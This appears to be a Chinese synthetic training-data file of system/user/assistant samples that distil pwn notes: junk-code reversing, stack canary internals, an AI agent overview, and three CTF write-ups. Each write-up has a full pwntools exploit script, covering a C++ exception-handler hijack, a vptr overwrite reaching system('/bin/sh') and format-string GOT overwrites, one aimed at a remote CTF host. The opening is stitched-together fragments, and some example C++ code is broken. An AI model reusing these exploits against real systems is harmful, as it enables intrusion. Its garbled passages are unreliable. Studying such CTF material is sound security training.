- } // starts at 400B54 ` 现在我们回到 main 的开头，p 一下重新建立函数，之后就可以正常 F5 反编译了，main() 逻辑如下： - 首先调用 sub_4008B9() - 接下来从输入读取 19 字节 - 调用 mprotect() 修改 main & 0xFFFFC000 处权限为 r | w | x，由于权限控制粒度为内存页，因此这里实际上会修改一整张内存页的权限 - 修改 sub_400A69() 开头的 10 个字节 - 调用 sub_400A69() 检查 flag...
- mprotect((unsigned int)main & 0xFFFFC000, 16LL, 7LL);
- CODE XREF: .text:0000000000400CB5↑j .text:0000000000400CBD nop .text:0000000000400CBE nop .text:0000000000400CBF nop .text:0000000000400CC0 nop ` 继续向下看，在 0x400D04 又发现一个非常经典的花指令，还是直接将第一个字节 patch 为 nop 即可： `c .text:0000000000400D04 loc_400D04: ;
- while ( 1 ) { wait4(v4, &v2, 0LL, 0LL);
- .text:0000000000400D14 nop .text:0000000000400D15 mov rax, [rbp-8] .text:0000000000400D19 xor rax, fs:28h .text:0000000000400D22 jz short locret_400D29 .text:0000000000400D24 call ___stack_chk_fail .text:0000000000400D29 ;

关键术语：
- 栈
- AI安全
- 修复/缓解
- reverse
- obfuscate
- junk-code.md

代码/命令片段线索：
- plain: 1 行，首行 `直接 patch 为 `nop`：`
- plain: 1 行，首行 `获得一个到 `0x400CCF` 的跳转：`
- plain: 1 行，首行 `继续向下看，在 `0x400D04` 又发现一个非常经典的花指令，还是直接将第一个字节 patch 为 `nop` 即可：`
- plain: 1 行，首行 `现在看起来就是一个非常正常的函数末尾了：`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

逆向分析

栈 AI安全 修复/缓解 reverse obfuscate junk-code.md

花指令


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/mitigation/canary.md` 中的章节「Canary 实现原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/mitigation/canary.md`
标题：Canary
章节：Canary > Canary 原理 > Canary 实现原理
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“Canary 实现原理”展开。
- } ` 这意味可以通过劫持 __stack_chk_fail 的 got 值劫持流程或者利用 __stack_chk_fail 泄漏内容(参见 stack smash)。
- ` 如果存在溢出可以覆盖位于 TLS 中保存的 Canary 值那么就可以实现绕过保护机制。
- `C static void security_init (void) { // _dl_random的值在进入这个函数的时候就已经由kernel写入. // glibc直接使用了_dl_random的值并没有给赋值 // 如果不采用这种模式, glibc也可以自己产生随机数 //将_dl_random的最后一个字节设置为0x0 uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);
- 这个操作即为向栈中插入 Canary 值，代码如下： `asm mov rax, qword ptr fs:[0x28] mov qword ptr [rbp - 8], rax ` 在函数返回之前，会将该值取出，并与 fs:0x28 的值进行异或。
- `asm mov rdx,QWORD PTR [rbp-0x8] xor rdx,QWORD PTR fs:0x28 je 0x4005d7 <main+65> call 0x400460 <__stack_chk_fail@plt> ` 如果 Canary 已经被非法修改，此时程序流程会走到 __stack_chk_fail。

关键术语：
- 边界/溢出
- 栈
- AI安全
- 修复/缓解
- 漏洞利用
- pwn
- linux
- user-mode
- mitigation
- code:asm
- code:c

代码/命令片段线索：
- plain: 14 行，首行 `High`
- asm: 2 行，首行 `mov rax, qword ptr fs:[0x28]`
- asm: 4 行，首行 `mov rdx,QWORD PTR [rbp-0x8]`
- C: 12 行，首行 `eglibc-2.19/debug/stack_chk_fail.c`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

Canary 实现原理

边界/溢出 栈 AI安全 修复/缓解 漏洞利用 pwn linux user-mode mitigation code:asm code:c

Canary


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/ai/ai-for-security/agent/introduction.md` 中的章节「从“模型调用”到“系统行为”」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/ai/ai-for-security/agent/introduction.md`
标题：AI Agent
章节：AI Agent > 从“模型调用”到“系统行为”
路径分类：ai / ai/ai-for-security/agent
分块：1/1

核心知识点：
- 本节主题围绕“从“模型调用”到“系统行为””展开。
- 本质上，这意味着 AI Agent 并不是某一种具体模型或单一技术，而是一种围绕大语言模型构建的系统设计范式。
- 其核心特征在于： - 以 LLM 作为通用决策引擎 - 通过工具扩展能力边界 - 借助记忆维持状态连续性 - 在循环中逐步逼近目标 因此，AI Agent 的能力上限不仅取决于模型本身，更取决于系统设计的合理性。
- 通过上述模块可以看出，AI Agent 与传统 LLM 应用之间的关键差异在于 是否存在显式的状态与循环控制机制 ，例如，一个简单的 LLM 调用通常是： > 输入 → 模型 → 输出 而 AI Agent 则更接近于： > 状态 + 输入 → 决策（LLM） → 行动（Tools） → 环境反馈 → 状态更新 → 循环 在这一过程中，LLM 虽然仍是核心能力来源，但真正决定系统表现的，是各模块之间的协同方式与控制策略。

关键术语：
- AI安全
- ai
- ai-for-security
- agent
- introduction.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

从“模型调用”到“系统行为”

AI Agent
从“模型调用”到“系统行为”

AI安全 ai ai-for-security agent introduction.md

AI Agent


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 根据 `其它/2024ycb logger` 目录下的 writeup 和 exploit 示例，蒸馏一条训练样本：总结题目、漏洞点、利用链、关键代码和验证状态。

[Assistant]
## 题目路径
`其它/2024ycb logger`

## Writeup 蒸馏
### 题目分析

C++ 中的异常处理机制由`try`、`throw`、`catch`语句组成。

- `try`语句块负责监视异常。
- `throw`用于发送异常信息，也称为抛出异常。
- `catch`用于捕获异常并做出相应处理。

基本用法：

```cpp
try {                   // 检测异常
    // 执行可能出错的代码
    throw 异常类型;      // 抛出异常
}
catch (异常类型1 e) {    // 捕获异常
    // 处理方式 1
}
catch (异常类型2 e) {    // 捕获另一种异常
    // 处理方式 2
}
// ...
```

从 C++ 处理异常的语法中可以看到，异常的处理流程为检测异常 → 产生异常 → 抛出异常 → 捕获异常。对于用户而言，编译器隐藏了捕获异常的流程。在运行过程中，异常产生时会自动匹配到对应的处理代码中，而这个过程的代码较为复杂，由编译器产生。异常处理通常是由编译器和操作系统共同完成的，所以不同操作系统环境下的编译器对异常捕获和异常处理的分派过程是不同的。

C++的异常处理`try catch`执行过程

- 执行`try`块中的语句，如果执行的过程中没有异常抛出，那么执行完后就执行最后一个`catch`块后面的语句，所以`catch`块中的语句都不会被执行。
- 如果`try`块执行的过程中抛出了异常，那么抛出异常后立即跳转到第一个 “异常类型” 和抛出的异常类型匹配的`catch`块中执行（称作异常被该`catch`块 “捕获”），执行完后再跳转到最后一个`catch`块后面继续执行
- C++异常的再抛出：如果一个函数在执行过程中抛出的异常在本函数内就被`catch`块捕获并处理，那么该异常就不会抛给这个函数的调用者，如果异常在本函数中没有被处理，则它会被抛给上一层的函数

```cpp
#include <string>
#include <stdio.h>
#include <iostream>

void catched_by_self(int i){
	try{
	}
	catch(char){
	}
	catch(int)
}
void catched_by_before1(int i){
	throw std::string("Fuck You\n");
	printf("被抛到上层之后，函数后面的语句就不会被执行\n");
}

void catched_by_before2(){
	thrwo 666;
	printf("被抛到上层之后，函数后面的语句就不会被执行\n");
}

int mainf(){
	int testnum=0x123;
	try{
	}
	catch
}
```

### 快速查找catch块

当代码量比较大的时候，如果一个程序中有许多异常处理，我们再从汇编层面去人为查找非常的耗时间，使用 IDA 的 Search 功能直接定位到 catch 块分配处从而快速定位到 catch 块。

之前我们的分析之后可以知道，ida 是能够知道对应的 catch 块是 owned by 哪个 throw_address的，就用这个地址来搜索。

所以一旦我们找到了 throw 函数，直接搜索即可找到 catch，而不是满篇汇编的去大海捞针。

### 阶段反编译查看catch代码块

在之前我们知道如何恢复try catch结构之后，我们可以大致知道整体的执行逻辑，但是对于catch块内部的代码，依旧无法从反编译层面直接看见，默认情况下 ida 是不会反编译那个 catch 块的，因为 ida 认为那个catch块是不会被执行的，欺骗了 ida，而往往其中会存在一些关键信息，所以这里我们采取阶段反编译来查看 catch 块代码。

这里有两种方法：

方法一：

在begin catch 前按快捷键E，设置End，然后选中汇编至end catch，按p定义成函数，反编译即可。

### 解题思路

## Exploit 关键代码
### 其它/2024ycb logger/exp.py
```python
#!/usr/bin/env python3
from pwn import *

def dbg(c=0):
    if c:
        gdb.attach(io, c)
    else:
        gdb.attach(io)
        pause()

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
ia = lambda: io.interactive()
l32 = lambda: u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(io.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(io.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

elf = ELF('pwn')
io = process([elf.path])
context(os=elf.os, arch=elf.arch, log_level='debug')
context.terminal = ['cmd.exe', '/c', 'start', '""', 'wt.exe', 'wsl', '-e', 'bash', '-lc']

def menu(index):
    sla('chocie:', str(index))

def trace(content='a', judge='n'):
    menu(1)
    sla('here: ', content)
    sla('records? ', judge)

#dbg("b __cxa_throw@plt")

#通过数组越界漏洞修改src数组为/bin/sh
for i in range(7):
    trace()

trace('a'*0x10,'n')

payload = '/bin/sh;'
trace(payload)

#通过溢出漏洞劫持到后面catch进行异常处理
menu(2)
payload = b'a'*0x70
payload += p64(0X404300)
payload += p64(0x401BC2+1)
sa('Type your message here plz: ', payload)

ia()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 根据 `其它/2024ccb anote` 目录下的 writeup 和 exploit 示例，蒸馏一条训练样本：总结题目、漏洞点、利用链、关键代码和验证状态。

[Assistant]
## 题目路径
`其它/2024ccb anote`

## Writeup 蒸馏
# 2024 CCB anote Writeup

## 信息收集

程序开启 NX 和 Canary，但没有 PIE：

```text
Arch:    i386-32-little
RELRO:   Partial RELRO
Canary:  found
NX:      enabled
PIE:     disabled, base 0x8048000
```

关键地址如下：

```text
backdoor = 0x80489ce
note 构造函数 sub_8048DFC = 0x8048dfc
show 函数 sub_80489E8 = 0x80489e8
edit 函数 sub_8048A86 = 0x8048a86
```

`backdoor()` 直接执行：

```c
int backdoor() {
    return system("/bin/sh");
}
```

## 程序逻辑

主菜单有 4 个功能：

```text
1. add
2. show content
3. edit content
4. exit
```

`add` 每次创建一个大小为 `0x1c` 的 C++ 对象：

```c
v1 = operator new(0x1c);
memset(v1, 0, 0x1c);
sub_8048DFC(v1);      // *(obj) = 0x8048f48
notes[count++] = v1;
```

构造函数只设置对象首 DWORD 为 vptr：

```asm
8048dfc: mov edx, 0x8048f48
8048e04: mov eax, [ebp+arg_0]
8048e07: mov [eax], edx
```

对象布局：

```text
obj + 0x00  vptr
obj + 0x04  index
obj + 0x08  content
```

`show` 会泄露对象地址：

```c
cout << "gift: " << notes[index] << endl;
sub_80489E8(notes[index]);
```

`edit` 逻辑如下：

```c
if (n > 40) exit(0);
cin.getline(src, 32);
sub_8048A86(notes[index], src, index, n);
(***notes[index])(notes[index]);
```

其中 `sub_8048A86` 是漏洞点：

```c
void *sub_8048A86(int obj, void *src, int idx, size_t n) {
    *(obj + 4) = idx;
    return memcpy(obj + 8, src, n);
}
```

对象只申请了 `0x1c` 字节，`content` 从 `obj+0x8` 开始，理论可写空间只有 `0x14` 字节；但 `edit` 允许 `n <= 40`，因此可以从 `obj+0x8` 向后溢出。

## 漏洞利用

连续申请两个对象时，泄露到：

```text
obj0 = 0x80507d0
obj1 = 0x80507f0
diff = 0x20
```

因此 `obj0+0x20 == obj1`。如果对 `obj0` 写入 `0x1c` 字节，写入覆盖范围为：

```text
obj0+0x08 ~ obj0+0x23
```

刚好可以覆盖到 `obj1` 的 vptr。利用思路：

1. `add()` 两次，得到相邻的 `obj0` 和 `obj1`。
2. `show(0)` 泄露 `obj0` 地址。
3. 在 `obj0+0x08` 放一个 fake vtable，第一项写 `backdoor`。
4. 溢出覆盖 `obj1->vptr = obj0+0x08`。
5. 调用 `edit(1, 0, "")` 触发虚调用 `call *(*obj1)`，跳到 `backdoor()`。

payload 布局：

```text
obj0+0x08: p32(0x80489ce)      fake_vtable[0] = backdoor
obj0+0x0c: "A" * 0x10          padding
obj0+0x1c: p32(0x21)           保持下一块 chunk size
obj0+0x20: p32(obj0 + 0x08)    覆盖 obj1->vptr
```

主程序触发虚调用的汇编：

```asm
8048d3f: mov eax, [notes[index]]
8048d43: mov eax, [eax]      ; eax = obj->vptr
8048d45: mov eax, [eax]      ; eax = vtable[0]
8048d51: push edx            ; this 指针
8048d52: call eax
```

- exp

```python
BACKDOOR = 0x80489CE

add()
add()

obj0 = show(0)
fake_vtable = obj0 + 0x8

payload = flat(
    BACKDOOR,
    b"A" * 0x10,
    0x21,
    fake_vtable,
)

edit(0, len(payload), payload)
edit(1, 0, b"")
io.interactive()
```

## Exploit 关键代码
### 其它/2024ccb anote/exp.py
```python
#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF("./note", checksec=False)
context.log_level = "info"

BACKDOOR = 0x80489CE

def add():
    io.sendlineafter(b"Choice>>", b"1")

def show(idx: int) -> int:
    io.sendlineafter(b"Choice>>", b"2")
    io.sendlineafter(b"index:", str(idx).encode())
    io.recvuntil(b"gift: ")
    return int(io.recvline().strip(), 16)

def edit(idx: int, size: int, data: bytes):
    io.sendlineafter(b"Choice>>", b"3")
    io.sendlineafter(b"index:", str(idx).encode())
    io.sendlineafter(b"len:", str(size).encode())
    io.sendlineafter(b"content:", data)

io = process(elf.path)

# note object layout:
#   +0x00 vptr
#   +0x04 index
#   +0x08 content[0x14]
#
# operator new(0x1c) gives chunks 0x20 bytes apart under this glibc.
# edit() allows n <= 0x28 and memcpy(obj + 8, src, n), so writing 0x1c bytes
# into obj0 reaches obj1->vptr exactly:
#
#   obj0+0x08 fake_vtable[0] = backdoor
#   obj0+0x1c next chunk metadata size = 0x21
#   obj0+0x20 == obj1; overwrite obj1->vptr = obj0+0x08

add()
add()

obj0 = show(0)
log.success(f"obj0 leak: {obj0:#x}")

fake_vtable = obj0 + 0x8
payload = flat(
    BACKDOOR,          # fake_vtable[0] => backdoor()
    b"A" * 0x10,       # fill obj0 content
    0x21,              # preserve next chunk size
    fake_vtable,       # obj1->vptr
)
assert len(payload) == 0x1C

edit(0, len(payload), payload)

# menu option 3 performs:
#   sub_8048A86(obj, src, idx, len)
#   call *(*obj)
# obj1->vptr now points to our fake table, so this calls system("/bin/sh").
edit(1, 0, b"")

io.interactive()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 根据 `其它漏洞/格式化字符串` 目录下的 writeup 和 exploit 示例，蒸馏一条训练样本：总结题目、漏洞点、利用链、关键代码和验证状态。

[Assistant]
## 题目路径
`其它漏洞/格式化字符串`

## Writeup 蒸馏
## 格式化字符串漏洞

### 格式化字符串基础

#### 基础知识

+ 常见格式化字符串函数

| **函数**  | **基本介绍**                           |
| :-------- | :------------------------------------- |
| printf    | 输出到stdout                           |
| fprintf   | 输出到指定FILE流                       |
| vprintf   | 根据参数列表格式化输出到stdout         |
| vfprintf  | 根据参数列表格式化输出到FILE流         |
| sprintf   | 输出到字符串                           |
| snprintf  | 输出指定字节数到字符串                 |
| vsprintf  | 根据参数列表格式化输出到字符串         |
| vsnprintf | 根据参数列表格式化输出指定字节到字符串 |

+ 常见格式化字符串参数
  - `%c`：输出字符，配上`%n`可用于向指定地址写数据。
  - `%d`：输出十进制整数，配上`%n`可用于向指定地址写数据。
  - `%p`：输出16进制数据，与`%x`基本一样，只是附加了前缀`0x`，在32位下输出4字节，在64位下输出8字节，可通过输出字节的长度来判断目标环境是32位还是64位。
  - `%s`：输出的内容是字符串，即将偏移处指针指向的字符串输出，如`%i$s`表示输出偏移i处地址所指向的字符串，在32位和64位环境下一样，可用于读取GOT表等信息。
  - `%n`：将`%n`之前`printf`已经打印的字符个数赋值给偏移处指针所指向的地址位置，如`%100×10$n`表示将0x64写入偏移10处保存的指针所指向的地址（4字节），而`%$hn`表示写入的地址空间为2字节，`%$hhn`表示写入的地址空间为1字节，`%$lln`表示写入的地址空间为8字节，在32位和64位环境下一样。有时，直接写4字节会导致程序崩溃或等候时间过长，可以通过`%$hn`或`%$hhn`来适时调整。
  - `%n`是通过格式化字符串漏洞改变程序流程的关键方式，而其他格式化字符串参数可用于读取信息或配合`%n`写数据。
+ 常用格式化字符串形式

```plain
%[parameter][flags][field width][.precision][length]type
例如 %2$08hx %.8lf
```

+ `parameter`：`n$` ，获取格式化字符串中的指定第 n 个参数
+ `flags`：在 `width` 设置后指定可以用来作为填充的内容之类的内容
+ `field width`：输出的最小宽度
+ `precision`：输出的最大长度
+ `length`，输出的长度
  - `hh`，输出一个字节
  - `h`，输出一个双字节
+ `type`
  - `d/i`,有符号整数
  - `u`，无符号整数
  - `x/X`,16进制
  - `o`，8进制
  - `s`，所有字节
  - `c`，char类型单个字符
  - `p`，`void *` 型，输出对应变量的值。`printf("%p",a)` 用地址的格式打印变量 `a` 的值，`printf("%p", &a)` 打印变量 `a` 所在的地址。
  - `n`，不输出字符，但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
    * `hhn` 写一字节
    * `hn` 写两字节
    * `n` 写四字节
    * `ln` 32 位写四字节，64 位写八字节
    * `lln` 写八字节

#### 原理验证

示例程序：

```plain
#include

int main() {
    char s[100] ="aaaa.%p.%p.%p.%p.%p.%p.%p";
    printf(s);
    return 0;
}
```

+ 32位

编译命令：

```shell
gcc test.c -g -m32 -o test
```

输出结果：

```
aaaa.0xf7ffc988.0xffffcf2a.0x56555595.0xffffcf2a.0xf7ffc984.0x61616161.0x2e70252e
```

栈结构：

```plain
00:0000│ esp  0xffffcee0 —▸ 0xffffcef8 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p'
01:0004│      0xffffcee4 —▸ 0xf7ffc988 (_rtld_global_ro+136) ◂— 0x8e
02:0008│      0xffffcee8 —▸ 0xffffcf2a ◂— 0x0
03:000c│      0xffffceec —▸ 0x56555595 (main+24) ◂— add    ebx, 0x1a3f
04:0010│      0xffffcef0 —▸ 0xffffcf2a ◂— 0x0
05:0014│      0xffffcef4 —▸ 0xf7ffc984 (_rtld_global_ro+132) ◂— 0x6
06:0018│ eax  0xffffcef8 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p'
```

自上而下依次是参数0~6，参数0为格式化字符串地址，而格式化字符串前4字节又作为参数6（由于栈结构不同，需要视情况而定）。因此如果将格式化字符串合适的位置设置为目标地址就可以对该地址的数据进行操作。

+ 64位

编译命令：

```shell
gcc test.c -g -m64 -o test
```

输出结果：

```
aaaa.0x7fffffffde78.0x70.0x555555554770.0x7ffff7dced80.0x7ffff7dced80.0x2e70252e61616161.0x70252e70252e70255
```

寄存器：

```plain
RAX  0x0
RBX  0x0
RCX  0x555555554770 (__libc_csu_init) ◂— push   r15
RDX  0x70
RDI  0x7fffffffdd20 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p'
RSI  0x7fffffffde78 —▸ 0x7fffffffe21b
R8   0x7ffff7dced80 (initial) ◂— 0x0
R9   0x7ffff7dced80 (initial) ◂— 0x0
R10  0x0
R11  0x0
R12  0x5555555545a0 (_start) ◂— xor    ebp, ebp
R13  0x7fffffffde70 ◂— 0x1
R14  0x0
R15  0x0
RBP  0x7fffffffdd90 —▸ 0x555555554770 (__libc_csu_init) ◂— push   r15
RSP  0x7fffffffdd20 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p'
RIP  0x555555554747 (main+157) ◂— call   0x555555554580
```

栈结构：

```plain
00:0000│ rdi rsp  0x7fffffffdd20 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p'
01:0008│          0x7fffffffdd28 ◂— '%p.%p.%p.%p.%p.%p'
02:0010│          0x7fffffffdd30 ◂— '.%p.%p.%p'
03:0018│          0x7fffffffdd38 ◂— 0x70 /* 'p' */
04:0020│          0x7fffffffdd40 ◂— 0x0
```

由于 64 位程序先使用 `rdi`、`rsi`、`rdx`、`rcx`、`r8`、`r9` 寄存器作为函数参数的前六个参数，多余的参数会依次压在栈上，因此前 6 个输出的为寄存器中的值（`aaaa` 看做是格式化字符串参数），格式化字符串前 8 个字节作为参数 6 。

泄露偏移

### 格式化字符串泄露内存

#### 泄露栈变量的值

获取栈中被视为第 `n+1` 个参数的值：`%n$x`（`%n$p`）

我们可以通过漏洞泄露栈上的`canary`和`libc`地址。

亦或者在开启`PIE`保护的情况下泄露程序地址。

注意：`%x` 其实只是 `%d` 的 16 进制输出，对应的是 32 位也就是 4 字节；在 64 位操作系统下，只会截取后 32 位；`%p`和系统位数关联没有问题，因此建议用 `%p`

#### 泄露栈变量对应对应地址的内容

获取栈中被视为第 `n+1` 个参数对应地址的内容：`%n$s`

#### 泄露任意地址内存

获取地址 `addr` 对应的值（`addr` 为第 `k` 个参数）：`addr%k$s`

如果程序为 32 位偏移为 6 则payload为

```
p32(addr)+"%6$s"
```

### 格式化字符串覆盖内存

覆盖内存的原理是 `%k$n` 可以覆盖第 k 个参数指向的地址为已经输出的字符数量。

注意：覆盖内存只能覆盖栈上某地址指向的内存，而不是直接覆盖栈上某地址。

#### pwntools生成payload

pwntools集成了一个可以自动生成格式化字符串任意地址覆盖的工具。

我们较常使用的功能是

```python
fmtstr_payload(offset, {address:data}, numbwritten=0, write_size='byte')
```

+ `offset`表示格式化字符串的偏移
+ `address`表示需要覆盖的地址
+ `data`表示覆盖为的值
+ `numbwritten`表示已经输出的字符个数
+ `write_size`表示写入方式，是按字节（byte）、按双字节（short）还是按四字节（int），对应着hhn、hn和n，默认值是byte，即按hhn写。

## Exploit 关键代码
### 其它漏洞/格式化字符串/exp.py
```python
#!/usr/bin/env python2
from pwn import *

def get_sb():
    return libc.sym['system'], next(libc.search(b'/bin/sh\x00'))

def dbg(c=0):
    if c:
        gdb.attach(io, c)
    else:
        gdb.attach(io)
        pause()

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
ia = lambda: io.interactive()
ic = lambda: io.close()
l32 = lambda: u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(io.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(io.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

elf = ELF('axb_2019_fmt64')
#io = process([elf.path])
io=remote("node5.buuoj.cn",25147)
libc = ELF("/buu/64/libc-2.23.so")
context(os=elf.os, arch=elf.arch, log_level='debug')

off=8
payload = b"%9$saaaa"+p64(elf.got.puts)
r()
s(payload)
puts_addr=l64()
libc.address = puts_addr - libc.sym['puts']
lg('puts', puts_addr)
system,sh=get_sb()
lg('system', system)
lg('sh', sh)
strlen=libc.sym['strlen']
lg("strlen",strlen)
high_sys = (system >> 16) & 0xff
low_sys = system & 0xffff
payload = "%" + str(high_sys - 9) + "c%12$hhn" + "%" + str(low_sys - high_sys) + "c%13$hn"
print(payload)
payload = payload.ljust(32,"A") + p64(strlen + 2) + p64(strlen)
ru("Please tell me:")
s(payload)
r()
s(";/bin/sh\x00")

ia()
```

### 其它漏洞/格式化字符串/exp_cli.py
```python
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf
libc=ELF("/buu/32/libc-2.23.so")

r()
payload=p32(elf.got.puts)+b"%6$s"
s(payload)

leak=u32(ru("\xf7")[-4:].ljust(4,b"\x00"))
print(hex(leak))
libcbase=leak-libc.sym.puts
print(hex(libcbase))
sys=libcbase+libc.sym.system

r()
payload=fmtstr_payload(6,{elf.got.printf:sys})
s(payload)

r()
s(b"/bin/sh\x00")

ia()
```